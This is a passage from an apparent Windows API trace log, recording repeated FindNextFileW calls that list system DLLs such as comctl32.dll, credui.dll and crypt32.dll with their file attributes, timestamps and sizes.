ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f01d97d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23a00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="cfgmgr32.dll", cAlternateFileName="")) returned 1 [0185.140] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa78861e5, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa78861e5, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x198400, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="chsbrkr.dll", cAlternateFileName="")) returned 1 [0185.140] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa83625fc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa83625fc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5d2000, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="chtbrkr.dll", cAlternateFileName="")) returned 1 [0185.140] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf222e7, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x4bf222e7, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83f24e00, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="CHxReadingStringIME.dll", cAlternateFileName="")) returned 1 [0185.140] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc23aa496, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc23aa496, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83fbc3e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a200, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="cic.dll", cAlternateFileName="")) returned 1 [0185.140] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a9ef7a, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xc8a9ef7a, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="clb.dll", cAlternateFileName="")) returned 1 [0185.140] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe661614e, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe661614e, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7f800, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="clbcatq.dll", cAlternateFileName="")) returned 1 [0185.140] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35259713, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x35259713, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="clfsw32.dll", cAlternateFileName="")) returned 1 [0185.140] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbee174b6, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbee174b6, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x842b5f60, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="cliconfg.dll", cAlternateFileName="")) returned 1 [0185.140] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92bec2ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92bec2ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c1240c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38600, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="clusapi.dll", cAlternateFileName="")) returned 1 [0185.140] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38fecc6d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38fecc6d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x845fdce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="cmcfg32.dll", cAlternateFileName="")) returned 1 [0185.140] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9a99a0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3a9a99a0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x76400, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="cmdial32.dll", cAlternateFileName="")) returned 1 [0185.140] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe6d2724, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xfe6d2724, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfc00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="cmicryptinstall.dll", cAlternateFileName="")) returned 1 [0185.140] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bcbee, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x74bcbee, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10c00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="cmifw.dll", cAlternateFileName="")) returned 1 [0185.140] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f457, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x8f457, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4a600, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="cmipnpinstall.dll", cAlternateFileName="")) returned 1 [0185.140] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38f08433, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38f08433, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x846bc3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="cmlua.dll", cAlternateFileName="")) returned 1 [0185.140] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x391b5ce1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x391b5ce1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8477aaa0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="cmpbk32.dll", cAlternateFileName="")) returned 1 [0185.140] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3af76f19, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3af76f19, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="cmstplua.dll", cAlternateFileName="")) returned 1 [0185.141] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3930c938, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3930c938, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb800, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="cmutil.dll", cAlternateFileName="")) returned 1 [0185.141] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3edf5019, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3edf5019, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c00920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="cngaudit.dll", cAlternateFileName="")) returned 1 [0185.141] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe13d1623, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe13d1623, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c27a20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="cngprovider.dll", cAlternateFileName="")) returned 1 [0185.141] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc8530d4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xbc8530d4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x863252f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="cnvfat.dll", cAlternateFileName="")) returned 1 [0185.141] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2a3e279, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd2a3e279, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xf800, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="colbact.dll", cAlternateFileName="")) returned 1 [0185.141] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21891310, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x21891310, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x25800, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="COLORCNV.DLL", cAlternateFileName="")) returned 1 [0185.141] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3357b6fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3357b6fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x94000, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="colorui.dll", cAlternateFileName="")) returned 1 [0185.141] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3830bb4, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xc3830bb4, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8640aad0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="comcat.dll", cAlternateFileName="")) returned 1 [0185.141] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87ba0407, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87ba0407, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bc6567, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x81800, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="comctl32.dll", cAlternateFileName="")) returned 1 [0185.141] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x831d597f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x831d597f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x831fbadf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76a00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="comdlg32.dll", cAlternateFileName="")) returned 1 [0185.141] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54e040d9, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0x54e040d9, ftLastAccessTime.dwHighDateTime=0x1ca0405, ftLastWriteTime.dwLowDateTime=0xa7e211c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x6c90, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="compobj.dll", cAlternateFileName="")) returned 1 [0185.141] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafe90a34, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xafe90a34, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x43800, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="compstui.dll", cAlternateFileName="")) returned 1 [0185.141] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd737050d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd737050d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="comrepl.dll", cAlternateFileName="")) returned 1 [0185.141] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd1df40b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xcd1df40b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xae46d00, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13cc00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="comres.dll", cAlternateFileName="")) returned 1 [0185.141] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdca78724, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdca78724, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865ac280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35c00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="comsnap.dll", cAlternateFileName="")) returned 1 [0185.141] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfddbc751, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfddbc751, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12f400, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="comsvcs.dll", cAlternateFileName="")) returned 1 [0185.141] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe726f31b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe726f31b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8ec00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="comuid.dll", cAlternateFileName="")) returned 1 [0185.141] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cecfd00, ftCreationTime.dwHighDateTime=0x1d2881f, ftLastAccessTime.dwLowDateTime=0xfc801c00, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0x6cecfd00, ftLastWriteTime.dwHighDateTime=0x1d2881f, nFileSizeHigh=0x0, nFileSizeLow=0x3b548, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="concrt140.dll", cAlternateFileName="")) returned 1 [0185.141] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf52a1a4c, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf52a1a4c, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x148400, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="connect.dll", cAlternateFileName="")) returned 1 [0185.141] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62643aa1, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x62643aa1, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="console.dll", cAlternateFileName="")) returned 1 [0185.141] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09bc845, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xb09bc845, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="corpol.dll", cAlternateFileName="")) returned 1 [0185.141] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ca9d39, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9ca00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="CPFilters.dll", cAlternateFileName="")) returned 1 [0185.142] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9da9522d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9da9522d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9da9522d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="credssp.dll", cAlternateFileName="")) returned 1 [0185.142] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d09d5fb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d09d5fb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d0c375b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x29400, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="credui.dll", cAlternateFileName="")) returned 1 [0185.142] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x435139, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x435139, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x866dd550, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2461b, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="crtdll.dll", cAlternateFileName="")) returned 1 [0185.142] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89b04660, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x89b04660, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x89b76a81, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x119c00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="crypt32.dll", cAlternateFileName="")) returned 1 [0185.142] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54554db9, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x54554db9, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x86704650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="cryptbase.dll", cAlternateFileName="")) returned 1 [0185.142] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dce1c44, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8dce1c44, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="cryptdlg.dll", cAlternateFileName="")) returned 1 [0185.142] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x360536d1, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x360536d1, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="cryptdll.dll", cAlternateFileName="")) returned 1 [0185.142] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c473190, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3c473190, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, 